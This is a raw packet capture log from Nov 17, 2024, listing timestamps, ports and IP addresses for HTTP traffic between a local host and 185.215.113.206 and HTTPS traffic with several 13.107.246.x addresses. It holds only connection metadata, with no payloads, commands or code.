Nov 17, 2024 01:38:46.035382986 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.082540989 CET	443	56739	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.082559109 CET	443	56739	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.082566023 CET	443	56739	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.082592964 CET	443	56739	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.082616091 CET	443	56739	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.082619905 CET	56739	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:46.082642078 CET	443	56739	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.082680941 CET	56739	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:46.082690954 CET	56739	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:46.105619907 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.105631113 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.105673075 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.105690956 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.105709076 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.105762005 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.105772018 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.105783939 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.105798960 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.105837107 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.106224060 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.106255054 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.106295109 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.106396914 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.106439114 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.106441021 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.106570959 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.108892918 CET	443	56740	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.109283924 CET	443	56740	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.109741926 CET	56740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.110745907 CET	56740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.110763073 CET	443	56740	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.110774994 CET	56740	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.110780954 CET	443	56740	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.113389015 CET	56745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.113409996 CET	443	56745	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.113539934 CET	56745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.113672018 CET	56745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.113683939 CET	443	56745	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.124085903 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.124098063 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.124146938 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.150484085 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.150510073 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.150531054 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.150552034 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.150563955 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.150577068 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.150598049 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.150598049 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.150609970 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.150614977 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.150634050 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.150650978 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.179213047 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.179253101 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.179261923 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.179276943 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.179296970 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.179301023 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:46.179307938 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.179337025 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.179358959 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:46.179382086 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:46.199511051 CET	443	56739	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.199531078 CET	443	56739	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.199589014 CET	56739	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:46.199614048 CET	443	56739	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.199631929 CET	56739	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:46.199650049 CET	56739	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:46.220902920 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.220915079 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.220974922 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.221004009 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.221025944 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.221062899 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.221183062 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.221193075 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.221225023 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.221401930 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.221411943 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.221422911 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.221432924 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.221438885 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.221456051 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.221479893 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.221908092 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.221916914 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.221946001 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.221961021 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.239319086 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.239332914 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.239366055 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.239383936 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.265513897 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.265532970 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.265573978 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.265604973 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.265610933 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.265621901 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.265638113 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.265639067 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.265649080 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.265655041 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.265660048 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.265671015 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.265690088 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.316741943 CET	443	56739	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.316761971 CET	443	56739	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.316843033 CET	56739	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:46.316869974 CET	443	56739	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.317162037 CET	56739	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:46.336196899 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.336208105 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.336308956 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.336432934 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.336492062 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.336502075 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.336539030 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.336570024 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.336797953 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.336879969 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.336927891 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.337168932 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.354885101 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.354897976 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.354908943 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.354943991 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.354978085 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.380960941 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.380974054 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.380985022 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.380999088 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.381011009 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.381028891 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.381057024 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.381275892 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.381284952 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.381330967 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.381438017 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.381447077 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.381485939 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.418279886 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.418298960 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.418323040 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.418404102 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:46.418473005 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.418509960 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:46.418533087 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:46.419944048 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.419971943 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.420007944 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:46.420023918 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.420053005 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:46.421175957 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:46.433670998 CET	443	56739	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.433689117 CET	443	56739	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.433779001 CET	56739	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:46.433801889 CET	443	56739	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.434405088 CET	443	56739	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.434462070 CET	443	56739	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.434473991 CET	56739	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:46.434731960 CET	56739	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:46.437975883 CET	56739	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:46.438005924 CET	443	56739	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.466888905 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.466901064 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.466912031 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.466929913 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.466939926 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.466983080 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.467020988 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.470416069 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.470427990 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.470438004 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.470491886 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.470491886 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.498486042 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.498564005 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.498581886 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.498594046 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.498620987 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.498639107 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.498658895 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.498729944 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.499022007 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.499036074 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.499047995 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.499058008 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.499073029 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.499104023 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.572501898 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.572515011 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.572557926 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.572568893 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.572618961 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.572629929 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.572649956 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.572649956 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.572727919 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.585537910 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.585556984 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.585566044 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.585613012 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.585645914 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.613939047 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.613955021 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.613965034 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.614007950 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.614018917 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.614033937 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.614110947 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.614157915 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.614211082 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.614221096 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.614259005 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.614269018 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.614279985 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.614317894 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.614867926 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.614919901 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.614964008 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.649794102 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.649811029 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.649832010 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.650027990 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:46.650095940 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.652084112 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:46.687815905 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.687833071 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.687843084 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.687853098 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.687865019 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.687875032 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.687896013 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.687968016 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.692658901 CET	443	56741	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.693236113 CET	56741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.693273067 CET	443	56741	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.693697929 CET	56741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.693706989 CET	443	56741	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.701108932 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.701122046 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.701132059 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.701165915 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.701205969 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.710095882 CET	443	56742	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.710654020 CET	56742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.710688114 CET	443	56742	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.711143970 CET	56742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.711155891 CET	443	56742	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.729180098 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.729192972 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.729207039 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.729216099 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.729235888 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.729275942 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.729372025 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.729381084 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.729418039 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.729556084 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.729567051 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.729576111 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.729607105 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.729620934 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.729629040 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.729633093 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.729651928 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.729671955 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.730313063 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.730321884 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.730362892 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.730412006 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.742722988 CET	443	56743	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.743251085 CET	56743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.743283987 CET	443	56743	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.743716002 CET	56743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.743721008 CET	443	56743	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.752976894 CET	443	56744	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.753437042 CET	56744	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.753458977 CET	443	56744	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.753916979 CET	56744	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.753921986 CET	443	56744	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.766809940 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.766841888 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.766896963 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:46.766968966 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.767008066 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:46.767031908 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:46.770431042 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.770443916 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.770483971 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.770544052 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.803333998 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.803345919 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.803355932 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.803369045 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.803379059 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.803417921 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.803472042 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.816500902 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.816519022 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.816529036 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.816553116 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.816587925 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.831856966 CET	443	56741	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.831895113 CET	443	56741	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.831959963 CET	56741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.831976891 CET	443	56741	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.831993103 CET	443	56741	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.832042933 CET	56741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.832201958 CET	56741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.832215071 CET	443	56741	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.832227945 CET	56741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.832232952 CET	443	56741	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.835078955 CET	56746	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.835125923 CET	443	56746	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.835196018 CET	56746	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.835331917 CET	56746	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.835351944 CET	443	56746	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.839874029 CET	443	56742	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.840337992 CET	443	56742	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.840384960 CET	443	56742	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.840445995 CET	56742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.840517998 CET	56742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.840517998 CET	56742	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.840555906 CET	443	56742	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.840584040 CET	443	56742	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.843590975 CET	56747	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.843657017 CET	443	56747	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.843913078 CET	56747	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.844057083 CET	56747	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.844093084 CET	443	56747	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.844439030 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.844451904 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.844464064 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.844495058 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.844527006 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.844628096 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.844638109 CET	80	49911	185.215.113.206	192.168.2.6
